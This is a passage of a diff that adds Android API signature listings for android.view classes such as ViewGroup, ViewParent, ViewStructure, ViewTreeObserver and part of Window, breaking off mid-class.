+    method @Deprecated @FloatRange(from=1.0) public static float getAmbiguousGestureMultiplier();
+    method public static long getDefaultActionModeHideDuration();
+    method public static int getDoubleTapTimeout();
+    method @Deprecated public static int getEdgeSlop();
+    method @Deprecated public static int getFadingEdgeLength();
+    method @Deprecated public static long getGlobalActionKeyTimeout();
+    method public static int getJumpTapTimeout();
+    method public static int getKeyRepeatDelay();
+    method public static int getKeyRepeatTimeout();
+    method public static int getLongPressTimeout();
+    method @Deprecated public static int getMaximumDrawingCacheSize();
+    method @Deprecated public static int getMaximumFlingVelocity();
+    method @Deprecated public static int getMinimumFlingVelocity();
+    method public static int getMultiPressTimeout();
+    method public static int getPressedStateDuration();
+    method @FloatRange(from=1.0) public float getScaledAmbiguousGestureMultiplier();
+    method public int getScaledDoubleTapSlop();
+    method public int getScaledEdgeSlop();
+    method public int getScaledFadingEdgeLength();
+    method public float getScaledHorizontalScrollFactor();
+    method public int getScaledHoverSlop();
+    method public int getScaledMaximumDrawingCacheSize();
+    method public int getScaledMaximumFlingVelocity();
+    method public int getScaledMinimumFlingVelocity();
+    method public int getScaledMinimumScalingSpan();
+    method public int getScaledOverflingDistance();
+    method public int getScaledOverscrollDistance();
+    method public int getScaledPagingTouchSlop();
+    method public int getScaledScrollBarSize();
+    method public int getScaledTouchSlop();
+    method public float getScaledVerticalScrollFactor();
+    method public int getScaledWindowTouchSlop();
+    method public static int getScrollBarFadeDuration();
+    method @Deprecated public static int getScrollBarSize();
+    method public static int getScrollDefaultDelay();
+    method public static float getScrollFriction();
+    method public static int getTapTimeout();
+    method @Deprecated public static int getTouchSlop();
+    method @Deprecated public static int getWindowTouchSlop();
+    method public static long getZoomControlsTimeout();
+    method public boolean hasPermanentMenuKey();
+    method public boolean shouldShowMenuShortcutsWhenKeyboardPresent();
+  }
+
+  public class ViewDebug {
+    ctor public ViewDebug();
+    method public static void dumpCapturedView(String, Object);
+    method @Deprecated public static void startHierarchyTracing(String, android.view.View);
+    method @Deprecated public static void startRecyclerTracing(String, android.view.View);
+    method @Deprecated public static void stopHierarchyTracing();
+    method @Deprecated public static void stopRecyclerTracing();
+    method @Deprecated public static void trace(android.view.View, android.view.ViewDebug.RecyclerTraceType, int...);
+    method @Deprecated public static void trace(android.view.View, android.view.ViewDebug.HierarchyTraceType);
+    field @Deprecated public static final boolean TRACE_HIERARCHY = false;
+    field @Deprecated public static final boolean TRACE_RECYCLER = false;
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.METHOD}) public static @interface ViewDebug.CapturedViewProperty {
+    method public abstract boolean retrieveReturn() default false;
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.METHOD}) public static @interface ViewDebug.ExportedProperty {
+    method public abstract String category() default "";
+    method public abstract boolean deepExport() default false;
+    method public abstract android.view.ViewDebug.FlagToString[] flagMapping() default {};
+    method public abstract boolean formatToHexString() default false;
+    method public abstract boolean hasAdjacentMapping() default false;
+    method public abstract android.view.ViewDebug.IntToString[] indexMapping() default {};
+    method public abstract android.view.ViewDebug.IntToString[] mapping() default {};
+    method public abstract String prefix() default "";
+    method public abstract boolean resolveId() default false;
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE}) public static @interface ViewDebug.FlagToString {
+    method public abstract int equals();
+    method public abstract int mask();
+    method public abstract String name();
+    method public abstract boolean outputIf() default true;
+  }
+
+  @Deprecated public enum ViewDebug.HierarchyTraceType {
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType BUILD_CACHE;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType DRAW;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType INVALIDATE;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType INVALIDATE_CHILD;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType INVALIDATE_CHILD_IN_PARENT;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType ON_LAYOUT;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType ON_MEASURE;
+    enum_constant @Deprecated public static final android.view.ViewDebug.HierarchyTraceType REQUEST_LAYOUT;
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE}) public static @interface ViewDebug.IntToString {
+    method public abstract int from();
+    method public abstract String to();
+  }
+
+  @Deprecated public enum ViewDebug.RecyclerTraceType {
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType BIND_VIEW;
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType MOVE_FROM_ACTIVE_TO_SCRAP_HEAP;
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType MOVE_TO_SCRAP_HEAP;
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType NEW_VIEW;
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType RECYCLE_FROM_ACTIVE_HEAP;
+    enum_constant @Deprecated public static final android.view.ViewDebug.RecyclerTraceType RECYCLE_FROM_SCRAP_HEAP;
+  }
+
+  @UiThread public abstract class ViewGroup extends android.view.View implements android.view.ViewManager android.view.ViewParent {
+    ctor public ViewGroup(android.content.Context);
+    ctor public ViewGroup(android.content.Context, android.util.AttributeSet);
+    ctor public ViewGroup(android.content.Context, android.util.AttributeSet, int);
+    ctor public ViewGroup(android.content.Context, android.util.AttributeSet, int, int);
+    method public boolean addStatesFromChildren();
+    method public void addView(android.view.View);
+    method public void addView(android.view.View, int);
+    method public void addView(android.view.View, int, int);
+    method public void addView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public void addView(android.view.View, int, android.view.ViewGroup.LayoutParams);
+    method protected boolean addViewInLayout(android.view.View, int, android.view.ViewGroup.LayoutParams);
+    method protected boolean addViewInLayout(android.view.View, int, android.view.ViewGroup.LayoutParams, boolean);
+    method protected void attachLayoutAnimationParameters(android.view.View, android.view.ViewGroup.LayoutParams, int, int);
+    method protected void attachViewToParent(android.view.View, int, android.view.ViewGroup.LayoutParams);
+    method public void bringChildToFront(android.view.View);
+    method protected boolean canAnimate();
+    method protected boolean checkLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public void childDrawableStateChanged(android.view.View);
+    method public void childHasTransientStateChanged(android.view.View, boolean);
+    method protected void cleanupLayoutState(android.view.View);
+    method public void clearChildFocus(android.view.View);
+    method public void clearDisappearingChildren();
+    method protected void debug(int);
+    method protected void detachAllViewsFromParent();
+    method protected void detachViewFromParent(android.view.View);
+    method protected void detachViewFromParent(int);
+    method protected void detachViewsFromParent(int, int);
+    method protected void dispatchFreezeSelfOnly(android.util.SparseArray<android.os.Parcelable>);
+    method public void dispatchSetActivated(boolean);
+    method public void dispatchSetSelected(boolean);
+    method protected void dispatchThawSelfOnly(android.util.SparseArray<android.os.Parcelable>);
+    method protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
+    method public void endViewTransition(android.view.View);
+    method public android.view.View focusSearch(android.view.View, int);
+    method public void focusableViewAvailable(android.view.View);
+    method protected android.view.ViewGroup.LayoutParams generateDefaultLayoutParams();
+    method public android.view.ViewGroup.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method protected android.view.ViewGroup.LayoutParams generateLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public android.view.View getChildAt(int);
+    method public int getChildCount();
+    method protected int getChildDrawingOrder(int, int);
+    method public final int getChildDrawingOrder(int);
+    method public static int getChildMeasureSpec(int, int, int);
+    method protected boolean getChildStaticTransformation(android.view.View, android.view.animation.Transformation);
+    method public boolean getChildVisibleRect(android.view.View, android.graphics.Rect, android.graphics.Point);
+    method public boolean getClipChildren();
+    method public boolean getClipToPadding();
+    method public int getDescendantFocusability();
+    method public android.view.View getFocusedChild();
+    method public android.view.animation.LayoutAnimationController getLayoutAnimation();
+    method public android.view.animation.Animation.AnimationListener getLayoutAnimationListener();
+    method public int getLayoutMode();
+    method public android.animation.LayoutTransition getLayoutTransition();
+    method public int getNestedScrollAxes();
+    method public android.view.ViewGroupOverlay getOverlay();
+    method @Deprecated public int getPersistentDrawingCache();
+    method public boolean getTouchscreenBlocksFocus();
+    method public int indexOfChild(android.view.View);
+    method @Deprecated public final void invalidateChild(android.view.View, android.graphics.Rect);
+    method @Deprecated public android.view.ViewParent invalidateChildInParent(int[], android.graphics.Rect);
+    method @Deprecated public boolean isAlwaysDrawnWithCacheEnabled();
+    method @Deprecated public boolean isAnimationCacheEnabled();
+    method protected boolean isChildrenDrawingOrderEnabled();
+    method @Deprecated protected boolean isChildrenDrawnWithCacheEnabled();
+    method public boolean isLayoutSuppressed();
+    method public boolean isMotionEventSplittingEnabled();
+    method public boolean isTransitionGroup();
+    method public final void layout(int, int, int, int);
+    method protected void measureChild(android.view.View, int, int);
+    method protected void measureChildWithMargins(android.view.View, int, int, int, int);
+    method protected void measureChildren(int, int);
+    method public void notifySubtreeAccessibilityStateChanged(android.view.View, android.view.View, int);
+    method public final void offsetDescendantRectToMyCoords(android.view.View, android.graphics.Rect);
+    method public final void offsetRectIntoDescendantCoords(android.view.View, android.graphics.Rect);
+    method public boolean onInterceptHoverEvent(android.view.MotionEvent);
+    method public boolean onInterceptTouchEvent(android.view.MotionEvent);
+    method protected abstract void onLayout(boolean, int, int, int, int);
+    method public boolean onNestedFling(android.view.View, float, float, boolean);
+    method public boolean onNestedPreFling(android.view.View, float, float);
+    method public boolean onNestedPrePerformAccessibilityAction(android.view.View, int, android.os.Bundle);
+    method public void onNestedPreScroll(android.view.View, int, int, int[]);
+    method public void onNestedScroll(android.view.View, int, int, int, int);
+    method public void onNestedScrollAccepted(android.view.View, android.view.View, int);
+    method protected boolean onRequestFocusInDescendants(int, android.graphics.Rect);
+    method public boolean onRequestSendAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public boolean onStartNestedScroll(android.view.View, android.view.View, int);
+    method public void onStopNestedScroll(android.view.View);
+    method public void onViewAdded(android.view.View);
+    method public void onViewRemoved(android.view.View);
+    method public void recomputeViewAttributes(android.view.View);
+    method public void removeAllViews();
+    method public void removeAllViewsInLayout();
+    method protected void removeDetachedView(android.view.View, boolean);
+    method public void removeView(android.view.View);
+    method public void removeViewAt(int);
+    method public void removeViewInLayout(android.view.View);
+    method public void removeViews(int, int);
+    method public void removeViewsInLayout(int, int);
+    method public void requestChildFocus(android.view.View, android.view.View);
+    method public boolean requestChildRectangleOnScreen(android.view.View, android.graphics.Rect, boolean);
+    method public void requestDisallowInterceptTouchEvent(boolean);
+    method public boolean requestSendAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public void requestTransparentRegion(android.view.View);
+    method public void scheduleLayoutAnimation();
+    method public void setAddStatesFromChildren(boolean);
+    method @Deprecated public void setAlwaysDrawnWithCacheEnabled(boolean);
+    method @Deprecated public void setAnimationCacheEnabled(boolean);
+    method @Deprecated protected void setChildrenDrawingCacheEnabled(boolean);
+    method protected void setChildrenDrawingOrderEnabled(boolean);
+    method @Deprecated protected void setChildrenDrawnWithCacheEnabled(boolean);
+    method public void setClipChildren(boolean);
+    method public void setClipToPadding(boolean);
+    method public void setDescendantFocusability(int);
+    method public void setLayoutAnimation(android.view.animation.LayoutAnimationController);
+    method public void setLayoutAnimationListener(android.view.animation.Animation.AnimationListener);
+    method public void setLayoutMode(int);
+    method public void setLayoutTransition(android.animation.LayoutTransition);
+    method public void setMotionEventSplittingEnabled(boolean);
+    method public void setOnHierarchyChangeListener(android.view.ViewGroup.OnHierarchyChangeListener);
+    method @Deprecated public void setPersistentDrawingCache(int);
+    method protected void setStaticTransformationsEnabled(boolean);
+    method public void setTouchscreenBlocksFocus(boolean);
+    method public void setTransitionGroup(boolean);
+    method public boolean shouldDelayChildPressedState();
+    method public boolean showContextMenuForChild(android.view.View);
+    method public boolean showContextMenuForChild(android.view.View, float, float);
+    method public android.view.ActionMode startActionModeForChild(android.view.View, android.view.ActionMode.Callback);
+    method public android.view.ActionMode startActionModeForChild(android.view.View, android.view.ActionMode.Callback, int);
+    method public void startLayoutAnimation();
+    method public void startViewTransition(android.view.View);
+    method public void suppressLayout(boolean);
+    method public void updateViewLayout(android.view.View, android.view.ViewGroup.LayoutParams);
+    field protected static final int CLIP_TO_PADDING_MASK = 34; // 0x22
+    field public static final int FOCUS_AFTER_DESCENDANTS = 262144; // 0x40000
+    field public static final int FOCUS_BEFORE_DESCENDANTS = 131072; // 0x20000
+    field public static final int FOCUS_BLOCK_DESCENDANTS = 393216; // 0x60000
+    field public static final int LAYOUT_MODE_CLIP_BOUNDS = 0; // 0x0
+    field public static final int LAYOUT_MODE_OPTICAL_BOUNDS = 1; // 0x1
+    field @Deprecated public static final int PERSISTENT_ALL_CACHES = 3; // 0x3
+    field @Deprecated public static final int PERSISTENT_ANIMATION_CACHE = 1; // 0x1
+    field @Deprecated public static final int PERSISTENT_NO_CACHE = 0; // 0x0
+    field @Deprecated public static final int PERSISTENT_SCROLLING_CACHE = 2; // 0x2
+  }
+
+  public static class ViewGroup.LayoutParams {
+    ctor public ViewGroup.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public ViewGroup.LayoutParams(int, int);
+    ctor public ViewGroup.LayoutParams(android.view.ViewGroup.LayoutParams);
+    method public void resolveLayoutDirection(int);
+    method protected void setBaseAttributes(android.content.res.TypedArray, int, int);
+    field @Deprecated public static final int FILL_PARENT = -1; // 0xffffffff
+    field public static final int MATCH_PARENT = -1; // 0xffffffff
+    field public static final int WRAP_CONTENT = -2; // 0xfffffffe
+    field public int height;
+    field public android.view.animation.LayoutAnimationController.AnimationParameters layoutAnimationParameters;
+    field public int width;
+  }
+
+  public static class ViewGroup.MarginLayoutParams extends android.view.ViewGroup.LayoutParams {
+    ctor public ViewGroup.MarginLayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public ViewGroup.MarginLayoutParams(int, int);
+    ctor public ViewGroup.MarginLayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    ctor public ViewGroup.MarginLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public int getLayoutDirection();
+    method public int getMarginEnd();
+    method public int getMarginStart();
+    method public boolean isMarginRelative();
+    method public void setLayoutDirection(int);
+    method public void setMarginEnd(int);
+    method public void setMarginStart(int);
+    method public void setMargins(int, int, int, int);
+    field public int bottomMargin;
+    field public int leftMargin;
+    field public int rightMargin;
+    field public int topMargin;
+  }
+
+  public static interface ViewGroup.OnHierarchyChangeListener {
+    method public void onChildViewAdded(android.view.View, android.view.View);
+    method public void onChildViewRemoved(android.view.View, android.view.View);
+  }
+
+  public class ViewGroupOverlay extends android.view.ViewOverlay {
+    method public void add(@NonNull android.view.View);
+    method public void remove(@NonNull android.view.View);
+  }
+
+  public interface ViewManager {
+    method public void addView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public void removeView(android.view.View);
+    method public void updateViewLayout(android.view.View, android.view.ViewGroup.LayoutParams);
+  }
+
+  public abstract class ViewOutlineProvider {
+    ctor public ViewOutlineProvider();
+    method public abstract void getOutline(android.view.View, android.graphics.Outline);
+    field public static final android.view.ViewOutlineProvider BACKGROUND;
+    field public static final android.view.ViewOutlineProvider BOUNDS;
+    field public static final android.view.ViewOutlineProvider PADDED_BOUNDS;
+  }
+
+  public class ViewOverlay {
+    method public void add(@NonNull android.graphics.drawable.Drawable);
+    method public void clear();
+    method public void remove(@NonNull android.graphics.drawable.Drawable);
+  }
+
+  public interface ViewParent {
+    method public void bringChildToFront(android.view.View);
+    method public boolean canResolveLayoutDirection();
+    method public boolean canResolveTextAlignment();
+    method public boolean canResolveTextDirection();
+    method public void childDrawableStateChanged(android.view.View);
+    method public void childHasTransientStateChanged(android.view.View, boolean);
+    method public void clearChildFocus(android.view.View);
+    method public void createContextMenu(android.view.ContextMenu);
+    method public android.view.View focusSearch(android.view.View, int);
+    method public void focusableViewAvailable(android.view.View);
+    method public boolean getChildVisibleRect(android.view.View, android.graphics.Rect, android.graphics.Point);
+    method public int getLayoutDirection();
+    method public android.view.ViewParent getParent();
+    method public android.view.ViewParent getParentForAccessibility();
+    method public int getTextAlignment();
+    method public int getTextDirection();
+    method @Deprecated public void invalidateChild(android.view.View, android.graphics.Rect);
+    method @Deprecated public android.view.ViewParent invalidateChildInParent(int[], android.graphics.Rect);
+    method public boolean isLayoutDirectionResolved();
+    method public boolean isLayoutRequested();
+    method public boolean isTextAlignmentResolved();
+    method public boolean isTextDirectionResolved();
+    method public android.view.View keyboardNavigationClusterSearch(android.view.View, int);
+    method public void notifySubtreeAccessibilityStateChanged(android.view.View, @NonNull android.view.View, int);
+    method public default void onDescendantInvalidated(@NonNull android.view.View, @NonNull android.view.View);
+    method public boolean onNestedFling(android.view.View, float, float, boolean);
+    method public boolean onNestedPreFling(android.view.View, float, float);
+    method public boolean onNestedPrePerformAccessibilityAction(android.view.View, int, android.os.Bundle);
+    method public void onNestedPreScroll(android.view.View, int, int, int[]);
+    method public void onNestedScroll(android.view.View, int, int, int, int);
+    method public void onNestedScrollAccepted(android.view.View, android.view.View, int);
+    method public boolean onStartNestedScroll(android.view.View, android.view.View, int);
+    method public void onStopNestedScroll(android.view.View);
+    method public void recomputeViewAttributes(android.view.View);
+    method public void requestChildFocus(android.view.View, android.view.View);
+    method public boolean requestChildRectangleOnScreen(android.view.View, android.graphics.Rect, boolean);
+    method public void requestDisallowInterceptTouchEvent(boolean);
+    method public void requestFitSystemWindows();
+    method public void requestLayout();
+    method public boolean requestSendAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
+    method public void requestTransparentRegion(android.view.View);
+    method public boolean showContextMenuForChild(android.view.View);
+    method public boolean showContextMenuForChild(android.view.View, float, float);
+    method public android.view.ActionMode startActionModeForChild(android.view.View, android.view.ActionMode.Callback);
+    method public android.view.ActionMode startActionModeForChild(android.view.View, android.view.ActionMode.Callback, int);
+  }
+
+  public class ViewPropertyAnimator {
+    method public android.view.ViewPropertyAnimator alpha(@FloatRange(from=0.0f, to=1.0f) float);
+    method public android.view.ViewPropertyAnimator alphaBy(float);
+    method public void cancel();
+    method public long getDuration();
+    method public android.animation.TimeInterpolator getInterpolator();
+    method public long getStartDelay();
+    method public android.view.ViewPropertyAnimator rotation(float);
+    method public android.view.ViewPropertyAnimator rotationBy(float);
+    method public android.view.ViewPropertyAnimator rotationX(float);
+    method public android.view.ViewPropertyAnimator rotationXBy(float);
+    method public android.view.ViewPropertyAnimator rotationY(float);
+    method public android.view.ViewPropertyAnimator rotationYBy(float);
+    method public android.view.ViewPropertyAnimator scaleX(float);
+    method public android.view.ViewPropertyAnimator scaleXBy(float);
+    method public android.view.ViewPropertyAnimator scaleY(float);
+    method public android.view.ViewPropertyAnimator scaleYBy(float);
+    method public android.view.ViewPropertyAnimator setDuration(long);
+    method public android.view.ViewPropertyAnimator setInterpolator(android.animation.TimeInterpolator);
+    method public android.view.ViewPropertyAnimator setListener(android.animation.Animator.AnimatorListener);
+    method public android.view.ViewPropertyAnimator setStartDelay(long);
+    method public android.view.ViewPropertyAnimator setUpdateListener(android.animation.ValueAnimator.AnimatorUpdateListener);
+    method public void start();
+    method public android.view.ViewPropertyAnimator translationX(float);
+    method public android.view.ViewPropertyAnimator translationXBy(float);
+    method public android.view.ViewPropertyAnimator translationY(float);
+    method public android.view.ViewPropertyAnimator translationYBy(float);
+    method public android.view.ViewPropertyAnimator translationZ(float);
+    method public android.view.ViewPropertyAnimator translationZBy(float);
+    method public android.view.ViewPropertyAnimator withEndAction(Runnable);
+    method public android.view.ViewPropertyAnimator withLayer();
+    method public android.view.ViewPropertyAnimator withStartAction(Runnable);
+    method public android.view.ViewPropertyAnimator x(float);
+    method public android.view.ViewPropertyAnimator xBy(float);
+    method public android.view.ViewPropertyAnimator y(float);
+    method public android.view.ViewPropertyAnimator yBy(float);
+    method public android.view.ViewPropertyAnimator z(float);
+    method public android.view.ViewPropertyAnimator zBy(float);
+  }
+
+  public abstract class ViewStructure {
+    ctor public ViewStructure();
+    method public abstract int addChildCount(int);
+    method public abstract void asyncCommit();
+    method public abstract android.view.ViewStructure asyncNewChild(int);
+    method @Nullable public abstract android.view.autofill.AutofillId getAutofillId();
+    method public abstract int getChildCount();
+    method public abstract android.os.Bundle getExtras();
+    method public abstract CharSequence getHint();
+    method public abstract CharSequence getText();
+    method public abstract int getTextSelectionEnd();
+    method public abstract int getTextSelectionStart();
+    method public abstract boolean hasExtras();
+    method public abstract android.view.ViewStructure newChild(int);
+    method public abstract android.view.ViewStructure.HtmlInfo.Builder newHtmlInfoBuilder(@NonNull String);
+    method public abstract void setAccessibilityFocused(boolean);
+    method public abstract void setActivated(boolean);
+    method public abstract void setAlpha(float);
+    method public abstract void setAutofillHints(@Nullable String[]);
+    method public abstract void setAutofillId(@NonNull android.view.autofill.AutofillId);
+    method public abstract void setAutofillId(@NonNull android.view.autofill.AutofillId, int);
+    method public abstract void setAutofillOptions(CharSequence[]);
+    method public abstract void setAutofillType(int);
+    method public abstract void setAutofillValue(android.view.autofill.AutofillValue);
+    method public abstract void setCheckable(boolean);
+    method public abstract void setChecked(boolean);
+    method public abstract void setChildCount(int);
+    method public abstract void setClassName(String);
+    method public abstract void setClickable(boolean);
+    method public abstract void setContentDescription(CharSequence);
+    method public abstract void setContextClickable(boolean);
+    method public abstract void setDataIsSensitive(boolean);
+    method public abstract void setDimens(int, int, int, int, int, int);
+    method public abstract void setElevation(float);
+    method public abstract void setEnabled(boolean);
+    method public abstract void setFocusable(boolean);
+    method public abstract void setFocused(boolean);
+    method public abstract void setHint(CharSequence);
+    method public void setHintIdEntry(@NonNull String);
+    method public abstract void setHtmlInfo(@NonNull android.view.ViewStructure.HtmlInfo);
+    method public abstract void setId(int, String, String, String);
+    method public void setImportantForAutofill(int);
+    method public abstract void setInputType(int);
+    method public abstract void setLocaleList(android.os.LocaleList);
+    method public abstract void setLongClickable(boolean);
+    method public void setMaxTextEms(int);
+    method public void setMaxTextLength(int);
+    method public void setMinTextEms(int);
+    method public abstract void setOpaque(boolean);
+    method public void setReceiveContentMimeTypes(@Nullable String[]);
+    method public abstract void setSelected(boolean);
+    method public abstract void setText(CharSequence);
+    method public abstract void setText(CharSequence, int, int);
+    method public void setTextIdEntry(@NonNull String);
+    method public abstract void setTextLines(int[], int[]);
+    method public abstract void setTextStyle(float, int, int, int);
+    method public abstract void setTransformation(android.graphics.Matrix);
+    method public abstract void setVisibility(int);
+    method public abstract void setWebDomain(@Nullable String);
+  }
+
+  public abstract static class ViewStructure.HtmlInfo {
+    ctor public ViewStructure.HtmlInfo();
+    method @Nullable public abstract java.util.List<android.util.Pair<java.lang.String,java.lang.String>> getAttributes();
+    method @NonNull public abstract String getTag();
+  }
+
+  public abstract static class ViewStructure.HtmlInfo.Builder {
+    ctor public ViewStructure.HtmlInfo.Builder();
+    method public abstract android.view.ViewStructure.HtmlInfo.Builder addAttribute(@NonNull String, @NonNull String);
+    method public abstract android.view.ViewStructure.HtmlInfo build();
+  }
+
+  @android.widget.RemoteViews.RemoteView public final class ViewStub extends android.view.View {
+    ctor public ViewStub(android.content.Context);
+    ctor public ViewStub(android.content.Context, @LayoutRes int);
+    ctor public ViewStub(android.content.Context, android.util.AttributeSet);
+    ctor public ViewStub(android.content.Context, android.util.AttributeSet, int);
+    ctor public ViewStub(android.content.Context, android.util.AttributeSet, int, int);
+    method @IdRes public int getInflatedId();
+    method public android.view.LayoutInflater getLayoutInflater();
+    method @LayoutRes public int getLayoutResource();
+    method public android.view.View inflate();
+    method public void setInflatedId(@IdRes int);
+    method public void setLayoutInflater(android.view.LayoutInflater);
+    method public void setLayoutResource(@LayoutRes int);
+    method public void setOnInflateListener(android.view.ViewStub.OnInflateListener);
+  }
+
+  public static interface ViewStub.OnInflateListener {
+    method public void onInflate(android.view.ViewStub, android.view.View);
+  }
+
+  public final class ViewTreeObserver {
+    method public void addOnDrawListener(android.view.ViewTreeObserver.OnDrawListener);
+    method public void addOnGlobalFocusChangeListener(android.view.ViewTreeObserver.OnGlobalFocusChangeListener);
+    method public void addOnGlobalLayoutListener(android.view.ViewTreeObserver.OnGlobalLayoutListener);
+    method public void addOnPreDrawListener(android.view.ViewTreeObserver.OnPreDrawListener);
+    method public void addOnScrollChangedListener(android.view.ViewTreeObserver.OnScrollChangedListener);
+    method public void addOnSystemGestureExclusionRectsChangedListener(@NonNull java.util.function.Consumer<java.util.List<android.graphics.Rect>>);
+    method public void addOnTouchModeChangeListener(android.view.ViewTreeObserver.OnTouchModeChangeListener);
+    method public void addOnWindowAttachListener(android.view.ViewTreeObserver.OnWindowAttachListener);
+    method public void addOnWindowFocusChangeListener(android.view.ViewTreeObserver.OnWindowFocusChangeListener);
+    method public void dispatchOnDraw();
+    method public void dispatchOnGlobalLayout();
+    method public boolean dispatchOnPreDraw();
+    method public boolean isAlive();
+    method public void registerFrameCommitCallback(@NonNull Runnable);
+    method @Deprecated public void removeGlobalOnLayoutListener(android.view.ViewTreeObserver.OnGlobalLayoutListener);
+    method public void removeOnDrawListener(android.view.ViewTreeObserver.OnDrawListener);
+    method public void removeOnGlobalFocusChangeListener(android.view.ViewTreeObserver.OnGlobalFocusChangeListener);
+    method public void removeOnGlobalLayoutListener(android.view.ViewTreeObserver.OnGlobalLayoutListener);
+    method public void removeOnPreDrawListener(android.view.ViewTreeObserver.OnPreDrawListener);
+    method public void removeOnScrollChangedListener(android.view.ViewTreeObserver.OnScrollChangedListener);
+    method public void removeOnSystemGestureExclusionRectsChangedListener(@NonNull java.util.function.Consumer<java.util.List<android.graphics.Rect>>);
+    method public void removeOnTouchModeChangeListener(android.view.ViewTreeObserver.OnTouchModeChangeListener);
+    method public void removeOnWindowAttachListener(android.view.ViewTreeObserver.OnWindowAttachListener);
+    method public void removeOnWindowFocusChangeListener(android.view.ViewTreeObserver.OnWindowFocusChangeListener);
+    method public boolean unregisterFrameCommitCallback(@NonNull Runnable);
+  }
+
+  public static interface ViewTreeObserver.OnDrawListener {
+    method public void onDraw();
+  }
+
+  public static interface ViewTreeObserver.OnGlobalFocusChangeListener {
+    method public void onGlobalFocusChanged(android.view.View, android.view.View);
+  }
+
+  public static interface ViewTreeObserver.OnGlobalLayoutListener {
+    method public void onGlobalLayout();
+  }
+
+  public static interface ViewTreeObserver.OnPreDrawListener {
+    method public boolean onPreDraw();
+  }
+
+  public static interface ViewTreeObserver.OnScrollChangedListener {
+    method public void onScrollChanged();
+  }
+
+  public static interface ViewTreeObserver.OnTouchModeChangeListener {
+    method public void onTouchModeChanged(boolean);
+  }
+
+  public static interface ViewTreeObserver.OnWindowAttachListener {
+    method public void onWindowAttached();
+    method public void onWindowDetached();
+  }
+
+  public static interface ViewTreeObserver.OnWindowFocusChangeListener {
+    method public void onWindowFocusChanged(boolean);
+  }
+
+  public abstract class Window {
+    ctor public Window(@UiContext android.content.Context);
+    method public abstract void addContentView(android.view.View, android.view.ViewGroup.LayoutParams);
+    method public void addFlags(int);
+    method public final void addOnFrameMetricsAvailableListener(@NonNull android.view.Window.OnFrameMetricsAvailableListener, android.os.Handler);
+    method public void clearFlags(int);
+    method public abstract void closeAllPanels();
+    method public abstract void closePanel(int);
+    method public <T extends android.view.View> T findViewById(@IdRes int);
+    method public boolean getAllowEnterTransitionOverlap();
+    method public boolean getAllowReturnTransitionOverlap();
+    method public final android.view.WindowManager.LayoutParams getAttributes();
+    method public final android.view.Window.Callback getCallback();
+    method public int getColorMode();
+    method public final android.view.Window getContainer();
+    method public android.transition.Scene getContentScene();
+    method @UiContext public final android.content.Context getContext();
+    method @Nullable public abstract android.view.View getCurrentFocus();
+    method @NonNull public abstract android.view.View getDecorView();
+    method public static int getDefaultFeatures(android.content.Context);
+    method public android.transition.Transition getEnterTransition();
+    method public android.transition.Transition getExitTransition();
+    method protected final int getFeatures();
+    method protected final int getForcedWindowFlags();
+    method @Nullable public android.view.WindowInsetsController getInsetsController();
+    method @NonNull public abstract android.view.LayoutInflater getLayoutInflater();
+    method protected final int getLocalFeatures();
+    method public android.media.session.MediaController getMediaController();
+    method @ColorInt public abstract int getNavigationBarColor();
+    method @ColorInt public int getNavigationBarDividerColor();
+    method public android.transition.Transition getReenterTransition();
+    method public android.transition.Transition getReturnTransition();
+    method @Nullable public android.view.AttachedSurfaceControl getRootSurfaceControl();
+    method public android.transition.Transition getSharedElementEnterTransition();
+    method public android.transition.Transition getSharedElementExitTransition();
+    method public android.transition.Transition getSharedElementReenterTransition();
+    method public android.transition.Transition getSharedElementReturnTransition();
+    method public boolean getSharedElementsUseOverlay();
+    method @ColorInt public abstract int getStatusBarColor();
+    method @NonNull public java.util.List<android.graphics.Rect> getSystemGestureExclusionRects();
+    method public long getTransitionBackgroundFadeDuration();
+    method public android.transition.TransitionManager getTransitionManager();
+    method public abstract int getVolumeControlStream();
+    method public android.view.WindowManager getWindowManager();
+    method public final android.content.res.TypedArray getWindowStyle();
+    method public final boolean hasChildren();
+    method public boolean hasFeature(int);
+    method protected final boolean hasSoftInputMode();
+    method public void injectInputEvent(android.view.InputEvent);
+    method public abstract void invalidatePanelMenu(int);
+    method public final boolean isActive();
+    method public abstract boolean isFloating();
+    method public boolean isNavigationBarContrastEnforced();
+    method public abstract boolean isShortcutKey(int, android.view.KeyEvent);
+    method public boolean isStatusBarContrastEnforced();
+    method public boolean isWideColorGamut();
